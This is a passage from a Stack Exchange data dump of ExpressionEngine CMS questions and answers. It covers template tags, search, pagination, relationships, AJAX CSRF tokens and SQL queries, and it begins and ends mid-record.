and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:elseif channel_name == 'schools' &amp;amp;&amp;amp; segment_2 == &quot;search&amp;amp;keywords={super_search_keywords}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:elseif channel_name == 'zoo_visitor' &amp;amp;&amp;amp; segment_2 == &quot;search&amp;amp;keywords={super_search_keywords}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is working! However, at the last hurdle, we're running into a final problem where we get blank results when no search has been run (i.e. keywords). It seems the channels which we are ignoring when no search has been run because of the condition above (Schools and Zoo Visitor), seem to be being counted in the pagination. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So our first page of results contains one entry and then the second page has a whole load of entries from the Teacher channel etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we get round this and stop these channel results being counted in the pagination?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;---------------------&#xA;results.html&#xA;---------------------&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results channel=&quot;teachers|schools|zoo_visitor&quot; status=&quot;not closed&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;29&quot; author_indicator=&quot;screen_name&quot; keyword_search_author_name=&quot;yes&quot; paginate=&quot;bottom&quot; status=&quot;Members-id5|Members_Verified_-id6|Members_Pro-id7|open&quot;}&#xA;&#xA;  {if super_search_no_results}&#xA;     Sorry, no results message...&#xA;  {/if}&#xA;&#xA;&#xA;  {if channel_name == 'teachers'}&#xA;&#xA;  &amp;lt;article&amp;gt;&#xA;&#xA;    {title}&#xA;&#xA;  &amp;lt;/article&amp;gt;&#xA;&#xA;&#xA;{if:elseif channel_name == 'schools' &amp;amp;&amp;amp; segment_2 == &quot;search&amp;amp;keywords={super_search_keywords}&quot;}&#xA;&#xA;      &amp;lt;article&amp;gt;&#xA;&#xA;      {title}&#xA;&#xA;      &amp;lt;/article&amp;gt;&#xA;&#xA;  {/if}&#xA;&#xA;&#xA;    {if:elseif channel_name == 'zoo_visitor' &amp;amp;&amp;amp; segment_2 == &quot;search&amp;amp;keywords={super_search_keywords}&quot;}&#xA;&#xA;&#xA;      &amp;lt;article&amp;gt;&#xA;&#xA;      {exp:zoo_visitor:details} &#xA;&#xA;      {member_lastname}&#xA;&#xA;      {exp:zoo_visitor:details}&#xA;&#xA;      &amp;lt;/article&amp;gt;&#xA;&#xA;  {/if}&#xA;&#xA;&#xA;{paginate}&#xA;Page {current_page} of {total_pages} &amp;amp;nbsp; {pagination_links}&#xA;{/paginate}&#xA;&#xA;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2014-09-23T03:38:00.447" Title="Solspace Super Search - Blank results appearing in pagination" Tags="|solspace|pagination|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25796" PostTypeId="2" ParentId="25764" CreationDate="2014-09-22T10:15:08.847" Score="1" Body="&lt;p&gt;This is a permissions problem unrelated to the original question as it was asked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to set the read/write permissions for the template directory via FTP (or shell access) which will allow EE to create template files as required.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-22T10:15:08.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25797" PostTypeId="2" ParentId="25792" CreationDate="2014-09-22T14:46:00.807" Score="1" Body="&lt;p&gt;Do not add url_title, Structure places the right data for you.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-09-22T14:46:00.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25798" PostTypeId="1" CreationDate="2014-09-22T16:15:44.903" Score="0" ViewCount="120" Body="&lt;p&gt;Try as I might (and it might not be possible I guess) I have a relationship field in EE of author against an article channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show the author of an article while showing the article for a given tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tagger:entries channel=&quot;article&quot; tag=&quot;{segment_2}&quot; custom_fields=&quot;article_byline&quot;}&#xA;&#xA;{tagger:entry_title}&#xA;&#xA;{tagger:article_byline}&#xA;    {tagger:article_byline:title}&#xA;{/tagger:article_byline}&#xA;&#xA;{/exp:tagger:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do get entries returning - just no author though.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-09-22T16:15:44.903" Title="EE relationship field inside tagger entries loop" Tags="|relationships|loop|devdemon-tagger|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25799" PostTypeId="1" AcceptedAnswerId="25801" CreationDate="2014-09-22T16:39:27.150" Score="0" ViewCount="49" Body="&lt;p&gt;I got the following error after using the grid fieldtype.&lt;img src=&quot;https://i.stack.imgur.com/iLWPf.jpg&quot; alt=&quot;enter image description here&quot;&gt; I started over and it went away. However, it happened again the next day when I went in and add ed another row. Again, I starred over again and its working now. Any ideas on how to fix it? Running 2.8.1&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2014-09-22T17:55:36.240" Title="Grid Field Type PHP Error" Tags="|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25801" PostTypeId="2" ParentId="25799" CreationDate="2014-09-22T17:55:36.240" Score="0" Body="&lt;p&gt;See this in the bug reports at ellislab.com : &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20284/when-going-to-edit-an-entry-with-a-grid-field-on-it-i-get-php-and-mysql-err&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20284/when-going-to-edit-an-entry-with-a-grid-field-on-it-i-get-php-and-mysql-err&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Known Solution&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The problem happens when an extra empty column gets added to the grid.&#xA;  It has no name, no short name, no data at all.  It’s impossible to add&#xA;  an empty column through the editor, but it looks like it’s cropped up&#xA;  due to some third party add-ons. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Just delete the null column in the field editor (Admin- Channel Admin-&#xA;  Channel Fields) and you should be good.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-09-22T17:55:36.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25802" PostTypeId="1" CreationDate="2014-09-22T20:46:46.413" Score="0" ViewCount="217" Body="&lt;p&gt;I have a function in my module.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function evo_admin_pb() {            &#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('db/cache_mproc', '', 'qodb');&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('store');&#xA;        $this-&amp;gt;EE-&amp;gt;cp-&amp;gt;set_breadcrumb($this-&amp;gt;_base_url, lang('qo5_module_name'));&#xA;        $this-&amp;gt;EE-&amp;gt;cp-&amp;gt;set_variable('cp_page_title', lang('evo_admin_pb'));&#xA;&#xA;        $data = array(&#xA;            'pizza_type_form_action' =&amp;gt; $this-&amp;gt;_form_base . AMP . 'method=evo_select_pizza_type'&#xA;        );&#xA;        $data['_theme_base_url'] = $this-&amp;gt;_theme_base_url;&#xA;&#xA;        $results = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT type_extra_id, friendly_desc FROM exp_qo5_pbev_type_extras WHERE extra_type = 'Finisher' ORDER BY friendly_desc&quot;);&#xA;&#xA;        if ($results-&amp;gt;num_rows() &amp;gt; 0) {&#xA;            foreach ($results-&amp;gt;result_array() as $row) {&#xA;                $data['finishers'][$row['type_extra_id']] =  $row['friendly_desc'];&#xA;            }&#xA;        }&#xA;&#xA;        $data['crust_images'] = $this-&amp;gt;get_asset_dir('evo_pb/crust/', '', TRUE);&#xA;&#xA;        if(isset($_SESSION['evo_pb_admin_crust']) &amp;amp;&amp;amp; isset($_SESSION['evo_pb_admin_size']) &amp;amp;&amp;amp; isset($_SESSION['evo_pb_admin_finisher'])){&#xA;            $data['evo_selected_crust'] = $_SESSION['evo_pb_admin_crust'];&#xA;            $data['evo_selected_size'] = $_SESSION['evo_pb_admin_size'];&#xA;            $data['evo_selected_finisher'] = $_SESSION['evo_pb_admin_finisher'];&#xA;        }&#xA;        else if ($this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('action', TRUE) == 'edit') {&#xA;            error_log(&quot;edit&quot;);&#xA;            $data['evo_selected_crust'] = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('crust', true);&#xA;            $data['evo_selected_size'] = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('size', true);&#xA;            $data['evo_selected_finisher'] = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('finisher', true);&#xA;        }&#xA;        error_log(&quot;data going into view&quot;)        ;&#xA;        error_log(print_r($data, 1));&#xA;        return $this-&amp;gt;EE-&amp;gt;load-&amp;gt;view('pizzabuilder/evo_admin_pb', $data, TRUE);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function is called two ways: first way is from a link that changes the URL directly so something like &lt;a href=&quot;http://my_site.com/ap.php?C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=qo5&amp;amp;method=evo_admin_pb&quot; rel=&quot;nofollow&quot;&gt;http://my_site.com/ap.php?C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=qo5&amp;amp;method=evo_admin_pb&lt;/a&gt;. This works correctly and loads the template as shown in the last line of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way is from another javascript function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function editCrustConfig(size, crust, finisher) {&#xA;    $.ajax({&#xA;            type : 'POST',&#xA;            url : EE.BASE + '&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=qo5&amp;amp;method=evo_admin_pb',&#xA;            dataType : 'json',&#xA;            data: {&#xA;                action: 'edit',&#xA;                size: size,&#xA;                crust: crust,&#xA;                finisher: finisher&#xA;            }&#xA;        });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a series of HTML table rows generated in another view that each has a link which calls the js function like this: &lt;code&gt;javascript:editCrustConfig( 'M', 'H', 'MA')&lt;/code&gt;. This doesn't work correctly, and I'm not sure why. &lt;code&gt;editCrustConfig&lt;/code&gt; is running, and calling the &lt;code&gt;evo_admin_pb&lt;/code&gt; function. It's getting all the way to the end of the function, and the error logging of the data being passed in to the view is correct. The only thing that isn't happening is the view actually loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? (We're on 2.5.2.)&lt;/p&gt;&#xA;" OwnerUserId="1008" LastActivityDate="2017-03-16T11:22:44.787" Title="load-&gt;view not working in some cases" Tags="|add-on-development|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25803" PostTypeId="2" ParentId="24871" CreationDate="2014-09-22T20:56:28.293" Score="0" Body="&lt;p&gt;We had the same issue with our search form and it ended up being we had stickies turned off in our server, so our session was pointing to another server when we hit submit. Thus shooting this type of error because it was looking for something that didn't exist in that server. -- I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3604" LastEditorUserId="55" LastEditDate="2014-09-23T20:52:32.883" LastActivityDate="2014-09-23T20:52:32.883" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25805" PostTypeId="2" ParentId="25802" CreationDate="2014-09-22T21:08:57.240" Score="1" Body="&lt;p&gt;It's most likely a missing CSRF token that's tripping you up. You can test whether this is the cause by temporarily turning off Secure Forms in Admin &gt; Security &amp;amp; Sessions. If that is indeed the cause, try adding this to your data in editCrustConfig:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        data: {&#xA;            XID: EE.XID,&#xA;            action: 'edit',&#xA;            size: size,&#xA;            crust: crust,&#xA;            finisher: finisher&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-09-22T21:08:57.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25806" PostTypeId="1" CreationDate="2014-09-22T22:35:20.037" Score="1" ViewCount="353" Body="&lt;p&gt;EE v2.8.1 - Build Date: 20140314&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Grid field that is set to searchable, the columns are also set to searchable. It is in the about channel and is populated using the pages module. I have a simple search form and I continue to get '0' results. I even went so far as to specify the exact channel of the entry I was testing, copy and paste the text from the entry form itself, and still I return nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went into the field to re-save the field type thinking something was &quot;off&quot;. I then went into the entry and re-saved the entry to make sure nothing was &quot;out-of-sync&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My simple form is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:search:simple_form &#xA;                channel=&quot;about&quot; &#xA;                where=&quot;any&quot; &#xA;                form_id=&quot;searchForm&quot; &#xA;                result_page=&quot;search/results&quot; &#xA;                no_result_page=&quot;search/no-results&quot; &#xA;                results=&quot;20&quot; &#xA;                show_future_entries=&quot;no&quot; &#xA;                status=&quot;open&quot;&#xA;            }&#xA;                &amp;lt;div class=&quot;input-group&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; class=&quot;form-control search&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; placeholder=&quot;Search...&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;input-group-btn&quot;&amp;gt;&#xA;                        &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-default&quot;&amp;gt;&amp;lt;i class=&quot;icon icon-search&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/button&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am currently using this to see what is returned, if anything.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;h2&amp;gt;Your search for &amp;lt;em&amp;gt;{exp:search:keywords}&amp;lt;/em&amp;gt; had &amp;lt;em&amp;gt;{exp:search:total_results}&amp;lt;/em&amp;gt; results.&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong here? I've never fought something so simple for so long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done some further testing with a new channel, new fieldset, and new entries. It appears that the rich text field inside of the grid is NOT being included in the search. I have ALL searchable fields selected and am not able to return any results from these entries.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2014-09-23T10:44:15.313" LastActivityDate="2014-09-23T10:57:48.843" Title="Simple Search and Grid field not returning results" Tags="|ee2|search|simple-search|no-results|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25807" PostTypeId="1" CreationDate="2014-09-22T22:56:21.710" Score="0" ViewCount="43" Body="&lt;p&gt;I'm using Low Events and Structure on a site. I have setup the Calendar tag on a template that is displaying dynamic content from another channel. On the main calendar page, there is only one segment in the URL and the dynamic content displays correctly. When I add a date to the second segment, the dynamic content displays incorrectly (displays content from another entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if and how I can get Low Events and Structure to work together so that users can change the month in the calendar and still correctly display the content from the other channel on the same template. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.8.1&#xA;LE 1.3.0&lt;/p&gt;&#xA;" OwnerUserId="745" LastActivityDate="2014-09-22T22:56:21.710" Title="Using Low Events with Structure" Tags="|structure|low-events|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25808" PostTypeId="1" AcceptedAnswerId="25923" CreationDate="2014-09-22T23:49:24.247" Score="0" ViewCount="92" Body="&lt;p&gt;I have set an extended set of segments based on playa parent/child relationships&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/template-group/template/playa-parent/playa-child&quot; rel=&quot;nofollow&quot;&gt;http://example.com/template-group/template/playa-parent/playa-child&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like retrieve the content of an entry based on segment 4 but &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I'm not sure I can do this and&lt;/li&gt;&#xA;&lt;li&gt;I'm not sure if what I am doing is&#xA;right?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;countries&quot; dynamic=&quot;yes&quot; limit=&quot;1&quot;}&#xA;{exp:playa:parent dynamic=&quot;yes&quot; limit=&quot;1&quot; channel=&quot;cities&quot;}&#xA;{title}&#xA;{/exp:playa:parent}&#xA;{/exp:channel:entries}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expect cities to yield the entries title (&quot;London&quot;) based on the following URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/template-group/template/england/london&quot; rel=&quot;nofollow&quot;&gt;http://example.com/template-group/template/england/london&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDITED: Typo fixed for limit syntax]&lt;/p&gt;&#xA;" OwnerUserId="1465" LastEditorUserId="1465" LastEditDate="2014-09-25T07:16:44.077" LastActivityDate="2015-05-26T06:14:04.287" Title="Set playa entry dynamically" Tags="|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25809" PostTypeId="1" CreationDate="2014-09-22T23:53:06.170" Score="0" ViewCount="188" Body="&lt;p&gt;The simple search form tag is breaking SSL. How do I go about making the simple search form tag secure over SSL.&lt;/p&gt;&#xA;" OwnerUserId="407" LastActivityDate="2016-06-13T23:11:59.440" Title="Simple Search Form Tag over SSL" Tags="|search|ssl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25810" PostTypeId="2" ParentId="25809" CreationDate="2014-09-23T01:48:45.690" Score="0" Body="&lt;p&gt;Didn't change site URL in config... that fixed it.&lt;/p&gt;&#xA;" OwnerUserId="407" LastActivityDate="2014-09-23T01:48:45.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25811" PostTypeId="2" ParentId="25795" CreationDate="2014-09-23T03:38:00.447" Score="0" Body="&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;: display searched entries from 3 channels if a keyword search was conducted, and display entries from 2 channels if keyword search was not conducted yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be other solutions, but one way could be to use &lt;code&gt;{super_search_keywords}&lt;/code&gt; in a conditional to control both situations. You could, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if super_search_keywords == &quot;&quot;}&#xA;    {exp:super_search:results channel=&quot;channel_1|channel_2&quot;}&#xA;        // Your data&#xA;    {/exp:super_search:results}&#xA;{/if}&#xA;&#xA;{if super_search_keywords != &quot;&quot;}&#xA;    {exp:super_search:results channel=&quot;channel_1|channel_2|channel_3&quot;}&#xA;        // Your data&#xA;    {/exp:super_search:results}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you can use &lt;code&gt;{super_search_keywords}&lt;/code&gt; &lt;em&gt;inside&lt;/em&gt; &lt;code&gt;{exp:super_search:results}&lt;/code&gt; as well (see &lt;a href=&quot;http://www.solspace.com/docs/super_search/results/#variables&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search/results/#variables&lt;/a&gt;), you could do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results channel=&quot;channel_1|channel_2|channel_3&quot;}&#xA;    {if super_search_keywords == &quot;&quot;}&#xA;        // Your conditionals for channels 1 &amp;amp; 2&#xA;        // No need for a funky conditional for checking segment_2&#xA;    {/if}&#xA;&#xA;    {if super_search_keywords != &quot;&quot;}&#xA;        // Your conditionals for channels 1 &amp;amp; 2 &amp;amp; 3&#xA;        // No need for a funky conditional for checking segment_2&#xA;    {/if}&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other &lt;code&gt;{exp:super_search:results}&lt;/code&gt; parameters were omitted above for clarity.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-23T03:38:00.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25812" PostTypeId="2" ParentId="25808" CreationDate="2014-09-23T07:09:04.060" Score="0" Body="&lt;p&gt;Not sure if it's a typo, but the first thing I noticed was your limit parameter is a minus, not an equal symbol to equal the value 1 on the channel entry pair tag. Countries are the parent as stated, so wouldn't you want to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;countries&quot; dynamic=&quot;yes&quot; limit=&quot;1&quot;}&#xA;{exp:playa:children field=&quot;[your_country_field_relationship_to_city_entry]&quot;}&#xA;{title}&#xA;{/exp:playa:children}&#xA;{/exp:channel:entries}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. With the exp:playa:children you can pretty much use any parameter the channel entries tag has available. So even a url_title parameter with segment_4 might work in this case.&lt;/p&gt;&#xA;" OwnerUserId="931" LastEditorUserId="931" LastEditDate="2014-09-23T07:14:19.647" LastActivityDate="2014-09-23T07:14:19.647" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25813" PostTypeId="1" CreationDate="2014-09-23T08:05:49.163" Score="0" ViewCount="663" Body="&lt;p&gt;I am using Objective HTML Google Maps i have a title getting pulled through on my map markers when they are clicked it displays the info window, how can i increase the size of the info box window because at the moment the info box is too small and i have to scroll to see all the text.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:marker id=&quot;map&quot; latitude=&quot;{latitude}&quot; longitude=&quot;{longitude}&quot; clustering=&quot;true&quot;}&#xA;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/exp:gmap:marker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2014-10-23T10:10:24.833" Title="Objective HTML, Google maps info window height and width" Tags="|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25814" PostTypeId="2" ParentId="25813" CreationDate="2014-09-23T09:14:49.837" Score="1" Body="&lt;p&gt;You can use CSS to change the info window size and styling as needed.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-23T09:14:49.837" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25815" PostTypeId="1" AcceptedAnswerId="25820" CreationDate="2014-09-23T09:56:39.670" Score="2" ViewCount="610" Body="&lt;p&gt;I have the following query that is grabbing entries, but I would also like a 'categories' column that will show a pipe seperated list of the categories assigned to each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using CONCAT_WS as below, but the results just duplicate each entry for every category assigned to that entry. I was wondering if someone could tell me where I'm going wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT exp_channel_data.entry_id AS entry_id, exp_channel_titles.title AS title, exp_channel_titles.url_title AS url_title, CONCAT_WS('|',cp.cat_id) AS categories&#xA;FROM exp_channel_data&#xA;LEFT JOIN exp_channel_titles ON exp_channel_titles.entry_id = exp_channel_data.entry_id&#xA;LEFT JOIN exp_category_posts AS cp ON exp_channel_data.entry_id = cp.entry_id&#xA;LIMIT 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-09-23T13:03:33.553" Title="SQL Query to get entries with their categories" Tags="|mysql|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25816" PostTypeId="2" ParentId="25806" CreationDate="2014-09-23T10:57:48.843" Score="3" Body="&lt;p&gt;WOW!!! I feel a little embarrassed on this one. I will still post the answer since I have seen several other posts in various sites, be it EllisLab support, here, or others. Another fine example of forgetting something very simple and why reviewing the docs on a regular basis is a great idea.   ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding the following allowed the search of the entry inside the context of that entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  search_in=&quot;entries&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Per the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/search/simple.html#search-in&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;search_in=&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;search_in=&quot;entries&quot;, search_in=&quot;everywhere&quot;, search_in=&quot;titles&quot; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This parameter specifies which fields you would like to include in the&#xA;  searching. There are three possible values:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;entries&lt;/em&gt;&lt;/strong&gt;: The search will be conducted in the entry fields and titles&#xA;  of your channel. The associated comments will not be included.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;everywhere&lt;/em&gt;&lt;/strong&gt;: The search will be conducted in the title, entry fields,&#xA;  and in associated comments. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;titles&lt;/em&gt;&lt;/strong&gt;: The search will be conducted in&#xA;  the title of your entries. The channel entry fields and any associated&#xA;  comments will not be included. If this parameter is not set, the&#xA;  search will default to only search by “titles”.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* CONCLUSION *&lt;/strong&gt;&#xA;Changing my search tag to the following worked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:search:simple_form &#xA;                channel=&quot;not bogus&quot; &#xA;                search_in=&quot;entries&quot; &#xA;                where=&quot;any&quot; &#xA;                form_id=&quot;searchForm&quot; &#xA;                result_page=&quot;search/results&quot; &#xA;                no_result_page=&quot;search/no-results&quot; &#xA;                results=&quot;20&quot; &#xA;                show_future_entries=&quot;no&quot; &#xA;                status=&quot;open&quot;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* ADDED BONUS *&lt;/strong&gt;&#xA;If you would like to search in all channels of the site and don't want to worry about forgetting to go back and add one to your search parameters later, if a channel is added, add the following to your search parameters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;channel=&quot;not bogus&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By using the &lt;strong&gt;&lt;em&gt;not&lt;/em&gt;&lt;/strong&gt; in conjunction with a channel name not used, you will search in all channels not named that. Then you simply have to set your searchable flags accordingly in your field sets.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-09-23T10:57:48.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25817" PostTypeId="2" ParentId="16763" CreationDate="2014-09-23T11:14:42.233" Score="0" Body="&lt;p&gt;I've run into a very similar instance in which I didn't specify &lt;code&gt;search_in=&quot;entries&quot;&lt;/code&gt; as a parameter so that the search runs into the entry fields rather than just the titles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without seeing your search form code, it is hard to say, but it sounds like this is your issue. If you are expecting to see results from content inside custom fields and aren't seeing it, try entering a search term for the title of your entry. If it yields results, change your search form to include the above parameter and try again.   ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/search/simple.html#search-in&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;search_in=¶&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;search_in&lt;/strong&gt;=&quot;entries&quot;, &lt;strong&gt;search_in&lt;/strong&gt;=&quot;everywhere&quot;, &lt;strong&gt;search_in&lt;/strong&gt;=&quot;titles&quot; This&#xA;  parameter specifies which fields you would like to include in the&#xA;  searching. There are three possible values:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;entries&lt;/em&gt;&lt;/strong&gt;: The search will be conducted in the entry fields and titles&#xA;  of your channel. The associated comments will not be included.&lt;/p&gt;&#xA;  &#xA;  